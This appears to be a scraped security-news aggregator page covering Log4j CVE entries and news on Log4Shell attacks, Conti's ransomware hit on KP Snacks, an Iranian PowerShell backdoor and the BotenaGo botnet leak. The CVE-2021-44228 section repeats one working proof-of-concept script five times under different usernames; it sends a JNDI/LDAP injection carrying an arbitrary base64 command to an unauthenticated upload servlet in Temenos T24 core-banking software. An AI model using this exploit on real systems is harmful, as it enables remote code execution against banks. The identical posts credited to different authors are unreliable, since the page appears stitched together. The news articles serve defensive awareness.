It should be noted despite all this that there exists other issues within Log4j versions prior to 2.16 such as Praetorian’s demonstration of sensitive information exfiltration as noted at https://www.praetorian.com/blog/log4j-2-15-0-stills-allows-for-exfiltration-of-sensitive-data/. Therefore whilst this particular vulnerability may not be as impactful there are plenty of other reasons why you should upgrade to 2.16 or later of log4j if you haven’t already.

Assessed Attacker Value: 2
Assessed Attacker Value: 2Assessed Attacker Value: 5

Read More

CVE-2021-44228 (Log4Shell)

 

Description

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Recent assessments:

blobla01 at December 21, 2021 1:23am UTC reported:

The vulnerabilities exists in Temenos T24, widely used in core-banking,
There’re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it’s accessible without any authentication:

package com.temenos.t24browser.servlets;

public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
       FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
        //truncated
        if (paramName.equalsIgnoreCase("uploadType")) {
             innerObj.setUploadType(paramValue);
             innerObj.setUploadTypeInfoFromT24(); <=
//truncated

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

private void setUploadTypeInfoFromT24() {
            try {
                String responseXml = FileUploadServlet.this.sendUtilityRequest("OS.GET.UPLOAD.TYPE.INFO", this.uploadType, this.request);
                String uploadTypeInfo = Utils.getNodeFromString(responseXml, "uploadTypeInfo");
                if (FileUploadServlet.LOGGER.isDebugEnabled()) {
                    FileUploadServlet.LOGGER.debug("File upload: uploadTypeInfo=" + uploadTypeInfo);
                }

                if (!uploadTypeInfo.contains("<maxFileSize>")) {
                    throw new IllegalArgumentException("EB-FILE.UPLOAD.TYPE.NOT.FOUND|" + this.uploadType + "|"); <=
                }
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys


target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print("Attacking " + target)
print("Cmd: "+ sys.argv[2])
ldap_url = "ldap://<server>:2389/Deserialization/ROME/command/base64/"+cmd


burp0_url = target + "/BrowserWeb/servlet/BrowserServlet"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": target + "/BrowserWeb/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get('JSESSIONID')

burp0_url = target + "/BrowserWeb/servlet/FileUploadServlet"
burp0_cookies = {"JSESSIONID": token}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarygrfK28lThpyA12GG", "User-Agent": "Mozilla/5.0", "Connection": "close"}
burp0_data = "------WebKitFormBoundarygrfK28lThpyA12GG\r\nContent-Disposition: form-data; name=\"uploadType\"\r\n\r\n${jndi:"+ldap_url+"}\r\n\r\n------WebKitFormBoundarygrfK28lThpyA12GG--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)

AmirFedida at December 12, 2021 8:47am UTC reported:

The vulnerabilities exists in Temenos T24, widely used in core-banking,
There’re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it’s accessible without any authentication:

package com.temenos.t24browser.servlets;

public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
       FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
        //truncated
        if (paramName.equalsIgnoreCase("uploadType")) {
             innerObj.setUploadType(paramValue);
             innerObj.setUploadTypeInfoFromT24(); <=
//truncated

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

private void setUploadTypeInfoFromT24() {
            try {
                String responseXml = FileUploadServlet.this.sendUtilityRequest("OS.GET.UPLOAD.TYPE.INFO", this.uploadType, this.request);
                String uploadTypeInfo = Utils.getNodeFromString(responseXml, "uploadTypeInfo");
                if (FileUploadServlet.LOGGER.isDebugEnabled()) {
                    FileUploadServlet.LOGGER.debug("File upload: uploadTypeInfo=" + uploadTypeInfo);
                }

                if (!uploadTypeInfo.contains("<maxFileSize>")) {
                    throw new IllegalArgumentException("EB-FILE.UPLOAD.TYPE.NOT.FOUND|" + this.uploadType + "|"); <=
                }
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys


target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print("Attacking " + target)
print("Cmd: "+ sys.argv[2])
ldap_url = "ldap://<server>:2389/Deserialization/ROME/command/base64/"+cmd


burp0_url = target + "/BrowserWeb/servlet/BrowserServlet"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": target + "/BrowserWeb/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get('JSESSIONID')

burp0_url = target + "/BrowserWeb/servlet/FileUploadServlet"
burp0_cookies = {"JSESSIONID": token}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarygrfK28lThpyA12GG", "User-Agent": "Mozilla/5.0", "Connection": "close"}
burp0_data = "------WebKitFormBoundarygrfK28lThpyA12GG\r\nContent-Disposition: form-data; name=\"uploadType\"\r\n\r\n${jndi:"+ldap_url+"}\r\n\r\n------WebKitFormBoundarygrfK28lThpyA12GG--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)

nu11secur1ty at December 19, 2021 9:49am UTC reported:

The vulnerabilities exists in Temenos T24, widely used in core-banking,
There’re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it’s accessible without any authentication:

package com.temenos.t24browser.servlets;

public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
       FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
        //truncated
        if (paramName.equalsIgnoreCase("uploadType")) {
             innerObj.setUploadType(paramValue);
             innerObj.setUploadTypeInfoFromT24(); <=
//truncated

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

private void setUploadTypeInfoFromT24() {
            try {
                String responseXml = FileUploadServlet.this.sendUtilityRequest("OS.GET.UPLOAD.TYPE.INFO", this.uploadType, this.request);
                String uploadTypeInfo = Utils.getNodeFromString(responseXml, "uploadTypeInfo");
                if (FileUploadServlet.LOGGER.isDebugEnabled()) {
                    FileUploadServlet.LOGGER.debug("File upload: uploadTypeInfo=" + uploadTypeInfo);
                }

                if (!uploadTypeInfo.contains("<maxFileSize>")) {
                    throw new IllegalArgumentException("EB-FILE.UPLOAD.TYPE.NOT.FOUND|" + this.uploadType + "|"); <=
                }
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys


target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print("Attacking " + target)
print("Cmd: "+ sys.argv[2])
ldap_url = "ldap://<server>:2389/Deserialization/ROME/command/base64/"+cmd


burp0_url = target + "/BrowserWeb/servlet/BrowserServlet"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": target + "/BrowserWeb/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get('JSESSIONID')

burp0_url = target + "/BrowserWeb/servlet/FileUploadServlet"
burp0_cookies = {"JSESSIONID": token}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarygrfK28lThpyA12GG", "User-Agent": "Mozilla/5.0", "Connection": "close"}
burp0_data = "------WebKitFormBoundarygrfK28lThpyA12GG\r\nContent-Disposition: form-data; name=\"uploadType\"\r\n\r\n${jndi:"+ldap_url+"}\r\n\r\n------WebKitFormBoundarygrfK28lThpyA12GG--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)

ccondon-r7 at December 10, 2021 6:39pm UTC reported:

The vulnerabilities exists in Temenos T24, widely used in core-banking,
There’re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it’s accessible without any authentication:

package com.temenos.t24browser.servlets;

public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
       FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
        //truncated
        if (paramName.equalsIgnoreCase("uploadType")) {
             innerObj.setUploadType(paramValue);
             innerObj.setUploadTypeInfoFromT24(); <=
//truncated

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

private void setUploadTypeInfoFromT24() {
            try {
                String responseXml = FileUploadServlet.this.sendUtilityRequest("OS.GET.UPLOAD.TYPE.INFO", this.uploadType, this.request);
                String uploadTypeInfo = Utils.getNodeFromString(responseXml, "uploadTypeInfo");
                if (FileUploadServlet.LOGGER.isDebugEnabled()) {
                    FileUploadServlet.LOGGER.debug("File upload: uploadTypeInfo=" + uploadTypeInfo);
                }

                if (!uploadTypeInfo.contains("<maxFileSize>")) {
                    throw new IllegalArgumentException("EB-FILE.UPLOAD.TYPE.NOT.FOUND|" + this.uploadType + "|"); <=
                }
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys


target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print("Attacking " + target)
print("Cmd: "+ sys.argv[2])
ldap_url = "ldap://<server>:2389/Deserialization/ROME/command/base64/"+cmd


burp0_url = target + "/BrowserWeb/servlet/BrowserServlet"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": target + "/BrowserWeb/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get('JSESSIONID')

burp0_url = target + "/BrowserWeb/servlet/FileUploadServlet"
burp0_cookies = {"JSESSIONID": token}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarygrfK28lThpyA12GG", "User-Agent": "Mozilla/5.0", "Connection": "close"}
burp0_data = "------WebKitFormBoundarygrfK28lThpyA12GG\r\nContent-Disposition: form-data; name=\"uploadType\"\r\n\r\n${jndi:"+ldap_url+"}\r\n\r\n------WebKitFormBoundarygrfK28lThpyA12GG--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)

RhinosF1 at December 10, 2021 10:48pm UTC reported:

The vulnerabilities exists in Temenos T24, widely used in core-banking,
There’re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it’s accessible without any authentication:

package com.temenos.t24browser.servlets;

public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
       FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
        //truncated
        if (paramName.equalsIgnoreCase("uploadType")) {
             innerObj.setUploadType(paramValue);
             innerObj.setUploadTypeInfoFromT24(); <=
//truncated

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

private void setUploadTypeInfoFromT24() {
            try {
                String responseXml = FileUploadServlet.this.sendUtilityRequest("OS.GET.UPLOAD.TYPE.INFO", this.uploadType, this.request);
                String uploadTypeInfo = Utils.getNodeFromString(responseXml, "uploadTypeInfo");
                if (FileUploadServlet.LOGGER.isDebugEnabled()) {
                    FileUploadServlet.LOGGER.debug("File upload: uploadTypeInfo=" + uploadTypeInfo);
                }

                if (!uploadTypeInfo.contains("<maxFileSize>")) {
                    throw new IllegalArgumentException("EB-FILE.UPLOAD.TYPE.NOT.FOUND|" + this.uploadType + "|"); <=
                }
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys


target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print("Attacking " + target)
print("Cmd: "+ sys.argv[2])
ldap_url = "ldap://<server>:2389/Deserialization/ROME/command/base64/"+cmd


burp0_url = target + "/BrowserWeb/servlet/BrowserServlet"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": target + "/BrowserWeb/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get('JSESSIONID')

burp0_url = target + "/BrowserWeb/servlet/FileUploadServlet"
burp0_cookies = {"JSESSIONID": token}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarygrfK28lThpyA12GG", "User-Agent": "Mozilla/5.0", "Connection": "close"}
burp0_data = "------WebKitFormBoundarygrfK28lThpyA12GG\r\nContent-Disposition: form-data; name=\"uploadType\"\r\n\r\n${jndi:"+ldap_url+"}\r\n\r\n------WebKitFormBoundarygrfK28lThpyA12GG--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)

Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 5

Read More

'Long Live Log4Shell': CVE-2021-44228 Not Dead Yet

 

Description

Jen Easterly, the director of the Cybersecurity and Infrastructure Security Agency (CISA), stated in a public news interview that the now-infamous Log4j flaw is the “the most serious vulnerability that [she has] seen in her career.” It’s not a stretch to say the whole security industry would agree.

December of 2021 will be looked back on with a tinge of trauma and dread for incident responders, system administrators and security practitioners. You all probably already know— on December 9, a remote code execution vulnerability was uncovered in the programming library named Log4j, which is nearly ubiquitous in Java applications and software used all across the internet.

It felt like this vulnerability affected, well, everything. On top of that, it was very difficult to determine what applications were vulnerable, and from what entry point.

The vulnerability made headlines and news articles with details about the threat were released left and right. Vendors came out of the woodwork—some explaining how they were affected, some helping the community with free resources—and others to pitch their product and capitalize on chaos. While payloads and bypass techniques were shared by the offense, detection capabilities and scanning tools were shared by the defense. Keeping up with the amount of information on the Log4shell vulnerability felt like drinking from a firehose.

But you already knew all that. We are even just adding to the noise with this article right here.

So let’s talk about something else.

Where Were the Exploits?

Despite the “sky is falling” aura in the information-security community during the weeks Log4Shell was uncovered, the industry saw surprisingly few large-scale attacks compared to what we expected. This was extremely fortunate.

We as defenders were flying by the seat of our pants—working to gauge the attack surface, how to detect, mitigate, patch and understand what this threat truly is. As it turns out, attackers were doing the same thing, scrambling and figuring things out as they went. Both offense and defense were working to stay one step ahead of the other side.

While there was less carnage and devastation than we expected, that’s not to say there wasn’t any. We saw our fair share of compromised VMware Horizon servers, alongside others in the industry.

After exploiting Log4j for initial access, threat actors would resort to their usual work: installing persistence to maintain access, lurking and dwelling in the environment (we’ve seen web-shell indicators dating back to December 23 while the industry caught wind of this around January 10), and continuing actions on objectives.

For some, the goal was further post-exploitation and compromise with tooling such as Cobalt Strike. More often than not, the malicious activity we have uncovered is abusing system power and resources to mine cryptocurrency.

A brief example highlights a detection caught by Windows Defender: a PowerShell command downloading and executing the code present at 80.71.158[.]96/xms.ps1 (at the time of writing, this link is still serving malware).

The retrieved xm.ps1 script reads as follows:

You can see it disables the firewall and executes a new binary for the XMRig miner. It creates scheduled tasks and new autorun entries for this to consistently run. Thanks to the initial access vector from the Log4j vulnerability in the VMware Horizon server, the operator runs commands under the context of the “NT AUTHORITY\SYSTEM” user: the absolute owner and administrator of the device.

Maintaining this SYSTEM-level access is done by a deployed web shell, often in the form seen below.

The web shell enabled attackers to control this box remotely from anywhere in the world. Commands that were run through this web shell were still executed under the context of the NT AUTHORITY\SYSTEM (root-level privileges).

Log4j Opened the Door

The CVE-2021-44228 Log4j vulnerability offers initial access, which means hackers can then perform all the disruption, degradation and potential destruction they wish. Coupled with other vulnerabilities and exploitation techniques, even more damage could be done.

One particular recent vulnerability, the CVE-2021-4034 “PwnKit” bug affecting the PolKit pkexec utility, is of note. It’s present on a significant number of Linux distributions, and will easily elevate any low-privilege user to root and administrator access. Weaponizing both the trivial Log4j vulnerability for initial access, as well as the trivial pkexec vulnerability for privilege escalation, could make for easy mass compromise of Linux servers if they are not patched.

Needless to say, patching was, is and always will be the utmost priority. In the case of Log4j, some individuals thought that using an up-to-date version of Java (the language interpreter itself), rather than the individual Log4j library would be enough. This was quickly debunked, and the attack chain was made publicly available in the JNDI-Exploit-Kit project on GitHub.

Just added support to LDAP Serialized Payloads in the JNDI-Exploit-Kit. This attack path works in ANY java version as long the classes used in the Serialized payload are in the application classpath. Do not rely on your java version being up-to-date and update your log4j ASAP! pic.twitter.com/z3B2UolisR

— Márcio Almeida (@marcioalm) December 13, 2021

If the vulnerable Log4 library is not patched, there is still a risk, even if initial access is not possible. The syntax used to pull off the attack relies on an outbound connection, reaching out via the LDAP protocol to retrieve a Java class hosted elsewhere. In this outbound connection request, the attacker could exfiltrate sensitive information potentially stored in environment variables.

Cloud-based hosted networks or other production systems might hold secrets or access tokens within these environment variables. If these secrets like AWS_SECRET_ACCESS_KEY in Amazon Web Services were to be leaked, a threat actor could then enable themselves to compromise even more.

So What Now?

While the cybersecurity industry moves through the beginning of 2022, the Log4j nightmare is just another incident that makes us want to say goodbye and good riddance to 2021. But it’s not quite in the rearview mirror just yet.

Remember when we thought that, after applying a patch or two, the previous Microsoft Exchange vulnerability ProxyLogon would disappear? But in what felt like an instant, threat actors flung ProxyShell into all of our worlds, taking many by surprise. And while ProxyShell/ProxyLogon ended up not being quite as significant as Log4shell, these vulnerabilities still prove that threat actors love to recycle and level up a good threat whenever they can.

Considering just how deeply embedded the use of the Log4j package could be within applications, this vulnerability could continue to rear its head for many years to come. Much like the old Shellshock bug, some vendors or software providers might not even know the issue exists until it is discovered externally somewhere down the road.

Only time will tell if Log4shell makes a fierce return and disrupts the industry again (not to mention, our holiday weekends). As we continue through this year, it’s best to keep an eye on those sideview mirrors—just in case.

John Hammond is a senior security researcher at Huntress.

Read More

KP Snacks Left with Crumbs After Ransomware Attack

 

Description

KP Snacks, maker of the high-end Tyrrell’s and Popchips potato-chip brands, has suffered a ransomware attack that it said could affect deliveries to supermarkets through the end of March – at the earliest.

The British company (also the purveyor of deeply English treats such as Skips prawn cocktail snacks and Butterkist toffees) said that the Conti gang was behind the strike, which was reportedly discovered on Monday. True to form, the cyberattackers also stole data in a classic double-extortion gambit, posting “proof” of the steal on its leak site.

According to Better Retailing, which first reported the incident, the crisps connoisseur sent its merchant partners a letter on Wednesday explaining the situation, noting that it “cannot safely process orders or dispatch goods.”

“We have teams working through the resolution, but it is unknown when this will be resolved,” the letter, obtained by the outlet, read. “Expect supply issues on base stock and promotions until further notice…initial discussions have highlighted that no orders will be being placed or delivered for a couple of weeks at least and service could be affected until the end of March at the earliest.”

The provisions peddler also has issued a media statement, featuring the usual boilerplate:

“On Friday, 28 January we became aware that we were unfortunately victims of a ransomware incident. As soon as we became aware of the incident, we enacted our cybersecurity response plan and engaged a leading forensic information technology firm and legal counsel to assist us in our investigation. Our internal IT teams continue to work with third-party experts to assess the situation. We have been continuing to keep our colleagues, customers, and suppliers informed of any developments and apologise for any disruption this may have caused.”

Conti, a sophisticated Russian-speaking cybercrime group, is known for its advanced tactics. Palo Alto Networks has called it “one of the most ruthless” of dozens of ransomware groups currently operating. In December, for instance, it became one of the first to develop a full attack chain for the Log4Shell vulnerability (Emotet -> Cobalt Strike -> Human Exploitation -> (no ADMIN$ share) -> Kerberoast -> vCenter ESXi with log4shell scan for vCenter).

“It’s unfortunate to see another organization become one of the 400 victims and counting to be hit by Conti,” Steve Moore, chief security strategist at Exabeam, said via email. “Unfortunately, these groups keep getting away with these intrusions because they are experts at compromising credentials. Specifically, they utilize Mimikatz, Kerberoast to attack Kerberos, and even check for saved passwords in domain group policy files. Interestingly, they will specifically search for security policy and cyber-insurance documents – showing that context matters even to the adversary!”

During that recon effort, the group also stole “credit card statements, birth certificates, spreadsheets with employee addresses and phone numbers, confidential agreements and other sensitive documents,” according to BleepingComputer’s peek at the data-leak site. And according to one source, KP Snacks has been put on a countdown clock where the data will be published if the company doesn’t pay up within four or so days at this point.

🌐 Conti (Ryuk) #Ransomware team just ransomed another huge victim 🚨

The group infiltrated and encrypted the company’s network and stole a lot of data, the company is from the UK 🇬🇧 with $900 million revenue 💸

Five days left ⌛️#Conti pic.twitter.com/m2e9Jxr7L7

— DarkFeed (@ido_cohen2) February 1, 2022

“Data is no longer a commodity, it’s a currency — as this incident represents,” Amit Shaked, CEO at Laminar, told Threatpost via email. “Information within an organization’s network is valuable to both businesses and attackers. With a majority of the world’s data residing in the cloud, it is imperative that security becomes data-centric and solutions become cloud-native. As cloud architectures become more dynamic and complex, solutions need to be completely integrated with the cloud in order to identify potential risks and have a deeper understanding of where the data resides. Using the dual approach of visibility and protection, data security teams can know for certain which data stores are valuable targets and ensure proper controls are in place.”

KP Snacks isn’t alone – the Walkers company, also a booster of British “biscuits” and other nosh, was recently affected by what was termed “computer glitches” at its factories.

Cover image courtesy of KP Snacks.

Read More

Iranian Hackers Using New PowerShell Backdoor in Cyber Espionage Attacks

 

Description

An advanced persistent threat group with links to Iran has updated its malware toolset to include a novel PowerShell-based implant called PowerLess Backdoor, according to new research published by Cybereason.

The Boston-headquartered cybersecurity company attributed the malware to a hacking group known as Charming Kitten (aka Phosphorous, APT35, or TA453), while also calling out the backdoor’s evasive PowerShell execution.

“The PowerShell code runs in the context of a .NET application, thus not launching ‘powershell.exe’ which enables it to evade security products,” Daniel Frank, senior malware researcher at Cybereason, said. “The toolset analyzed includes extremely modular, multi-staged malware that decrypts and deploys additional payloads in several stages for the sake of both stealth and efficacy.”

The threat actor, which is active since at least 2017, has been behind a series of campaigns in recent years, including those wherein the adversary posed as journalists and scholars to deceive targets into installing malware and stealing classified information.

Earlier this month, Check Point Research disclosed details of an espionage operation that involved the hacking group exploiting the Log4Shell vulnerabilities to deploy a modular backdoor dubbed CharmPower for follow-on attacks.

The latest refinements to its arsenal, as spotted by Cybereason, constitutes an entirely new toolset that encompasses the PowerLess Backdoor, which is capable of downloading and executing additional modules such as a browser info-stealer and a keylogger.

Also potentially linked to the same developer of the backdoor are a number of other malware artifacts, counting an audio recorder, an earlier variant of the information stealer, and what the researchers suspect to be an unfinished ransomware variant coded in .NET.

Furthermore, infrastructure overlaps have been identified between the Phosphorus group and a new ransomware strain called Memento, which first emerged in November 2021 and took the unusual step of locking files within password-protected archives, followed by encrypting the password and deleting the original files, after their attempts to encrypt the files directly were blocked by endpoint protection.

“The activity of Phosphorus with regard to ProxyShell took place in about the same time frame as Memento,” Frank said. “Iranian threat actors were also reported to be turning to ransomware during that period, which strengthens the hypothesis that Memento is operated by an Iranian threat actor.”

Read More

BotenaGo Botnet Code Leaked to GitHub, Impacting Millions of Devices

 

Description

The BotenaGo botnet source code has been leaked to GitHub, putting millions of routers and internet-of-things (IoT) devices at risk, researchers said.

In a Wednesday report, AT&T Alien Labs – which first discovered the difficult-to-detect malware in November – said it expects that the ready availability of the source code to malware authors will widen the number of attacks.

Uploading of the source code to GitHub “can potentially lead to a significant rise of new malware variants as malware authors will be able to use the source code and adapt it to their objectives,” Alien Labs security researcher Ofer Caspi wrote. “Alien Labs expects to see new campaigns based on BotenaGo variants targeting routers and IoT devices globally.”

Caspi said that as of yesterday, antivirus (AV) vendor detection for BotenaGo and its variants was still bumping along near the bottom when it comes to detecting the malware, with the BotenaGo samples discovered back in November still slipping past most AV software to infect systems with one of the most popular botnets: Mirai.

The screen capture below from VirusTotal below shows how few AV programs – three out of 60 – are detecting the malware’s new variants.

Low level of AV detections for BotenaGo’s new variants. Source: VirusTotal.

Scrawny Code, Brawny Malware

Alien Labs only recently discovered that the BotenaGo source code had been uploaded to the wildly popular GitHub software development platform a month prior to when researchers discovered the malware to begin with: Specifically, it was uploaded on Oct. 16.

The leak means that any malicious actor can use, modify and upgrade the malware, Caspi said, “or even simply compile it as is and use the source code as an exploit kit, with the potential to leverage all BotenaGo’s exploits to attack vulnerable devices.”

Researchers also found additional hacking tools, from several sources, collected in the same repository.

Alien Labs called the malware source code “simple yet efficient,” able to carry out malware attacks with a grand total of a mere 2,891 lines of code (including empty lines and comments). In its November writeup, Alien Labs noted that BotenaGo, written in Google’s open-source Golang programming language, could exploit 33 vulnerabilities for initial access.

The malware is light, easy to use and powerful. BotenaGo’s 2,891 lines of code are all that’s needed for a malware attack, including, but not limited to, installing a reverse shell and a telnet loader used to create a backdoor to receive commands from its command-and-control (C2) operator.

Caspi explained that BotenaGo has automatic setup of its 33 exploits, presenting an attacker a “ready state” to attack a vulnerable target and infect it with an appropriate payload based on target type or operating system.

The source code leaked to GitHub and depicted below features a “supported” list of vendors and software used by BotenaGo to target its exploits at a slew of routers and IoT devices.

BotenaGo’s available exploits for multiple vendors, as commented out on leaked source code. Source: GitHub screen capture via AT&T Alien Labs.

New C2 Server

Besides the fact that BotenaGo is still going undetected by the majority of AV products, Alien Labs also recently found that one variant is configured to use a new C2 server, as shown below.

Command to configure a C2 server for a BotenaGo variant. Source: AT&T Alien Labs.

Caspi said that it’s also worth noting that “the IP address for one of BotenaGo’s payload storage servers is included in the list of indicators of compromise (IoCs) for detecting exploitation of the Apache Log4Shell flaw in the Log4j logging library.”

Following in Mirai’s Footsteps

With the recent release of BotenaGo’s source code, the risk to routers and IoT devices is going to spike, Caspi predicted. History tells the tale: The Mirai botnet rocketed to prominence after its source code had similarly been uploaded to a hacking community forum in 2016, and later uploaded to GitHub along with details about its infrastructure, configuration and how to build it.

“Today, BotenaGo variants serve as a standalone exploit kit and as a spreading tool for other malware,” he said. “Now with its source code available to any malicious hacker, new malicious activity can be added easily to the malware. Alien Labs sees the potential for a significant increase in these malware variants, giving rise to potentially new malware families that could put millions of routers and IoT devices at risk of attack.”

How to Make BotenaGo Go-Go-Go Away

Alien Labs researchers recommend three steps to keep this malware off devices:

1. Maintain minimal exposure to the Internet on Linux servers and IoT devices and use a properly configured firewall;
2. Install security and firmware upgrades from vendors, as soon as possible;
3. And check your system for unnecessary open ports and suspicious processes.

Read More